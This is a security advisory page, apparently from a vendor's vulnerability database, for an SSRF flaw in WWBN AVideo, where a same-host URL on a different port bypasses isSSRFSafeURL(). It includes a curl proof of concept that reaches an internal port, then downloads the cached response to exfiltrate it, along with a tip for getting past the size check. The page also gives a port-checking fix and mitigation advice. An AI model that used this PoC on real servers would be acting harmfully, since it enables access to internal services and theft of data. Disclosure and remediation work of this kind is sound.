GHSA-j432-4w3j-3w8j is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j432-4w3j-3w8j.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-j432-4w3j-3w8j plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The isSSRFSafeURL() function in objects/functions.php contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches webSiteRootURL to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.
Details
Commit 40872e529 fixed an extension-based SSRF bypass by making isSSRFSafeURL() unconditional. However, isSSRFSafeURL() itself contains a same-domain shortcircuit that returns true when the URL's hostname matches webSiteRootURL's hostname, without validating the port:
// objects/functions.php:4290-4296
if (!empty($global['webSiteRootURL'])) {
$siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
if ($host === $siteHost) {
_error_log("isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)");
return true; // Returns immediately — port, path, scheme all unchecked
}
}
The attack flow through objects/aVideoEncoder.json.php:
- User-supplied
$_REQUEST['downloadURL']is passed todownloadVideoFromDownloadURL()at line 166 isSSRFSafeURL()is called at line 368 — passes due to hostname matchurl_get_contents($downloadURL)fetches the attacker-controlled URL at line 378- Response is written to
Video::getStoragePath() . "cache/tmpFile/" . basename($downloadURL)at line 393-395
The cache/tmpFile/ directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.
The auth requirement is User::canUpload() (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid video_id_hash (a per-video token) can be used via useVideoHashOrLogin() at line 57.
PoC
Assuming the AVideo instance is at https://avideo.example.com/ and an internal service runs on port 9998:
# Step 1: Authenticate and get cookies (any user with upload permission)
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
-d 'user=testuser&pass=testpass'
# Step 2: Send SSRF request targeting port 9998 on the same host
# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' \
-d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'
# Step 3: Retrieve the exfiltrated response
# The file is saved to cache/tmpFile/ with the basename of the URL
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin
Note: The internal service response must be >= 20KB (or >= 5KB if the URL ends in .mp3) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.
The fix at 40872e529 specifically mentions blocking http://127.0.0.1:9998/probe.mp4. This bypass reaches the exact same internal service by replacing 127.0.0.1 with the site's public hostname — the DNS resolution points to the same server.
Impact
- Internal service access: An authenticated attacker can reach any TCP port on the AVideo server that speaks HTTP, including databases with HTTP interfaces, monitoring endpoints, admin panels, cloud metadata services (if the hostname resolves to a cloud instance), and other co-hosted services.
- Data exfiltration: Response bodies are written to a web-accessible directory, allowing the attacker to retrieve internal service responses.
- Scope change: The vulnerability crosses from the AVideo application into other services on the same host, justifying S:C in CVSS scoring.
- Bypass of existing fix: This directly circumvents the SSRF protection added in commit
40872e529.
Recommended Fix
The same-domain shortcircuit should validate that both the hostname and port match webSiteRootURL. Replace objects/functions.php lines 4290-4296:
// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL
if (!empty($global['webSiteRootURL'])) {
$siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
$sitePort = parse_url($global['webSiteRootURL'], PHP_URL_PORT);
$siteScheme = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_SCHEME));
// Default port based on scheme if not explicitly set
if (empty($sitePort)) {
$sitePort = ($siteScheme === 'https') ? 443 : 80;
}
$urlPort = parse_url($url, PHP_URL_PORT);
$urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));
if (empty($urlPort)) {
$urlPort = ($urlScheme === 'https') ? 443 : 80;
}
if ($host === $siteHost && $urlPort === $sitePort) {
_error_log("isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (matches webSiteRootURL)");
return true;
}
}
This ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-j432-4w3j-3w8j yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-j432-4w3j-3w8j can be triaged on real exposure rather than presence alone.
Tailored to GHSA-j432-4w3j-3w8j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j432-4w3j-3w8j in your dependencies?
O3 Security finds GHSA-j432-4w3j-3w8j across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.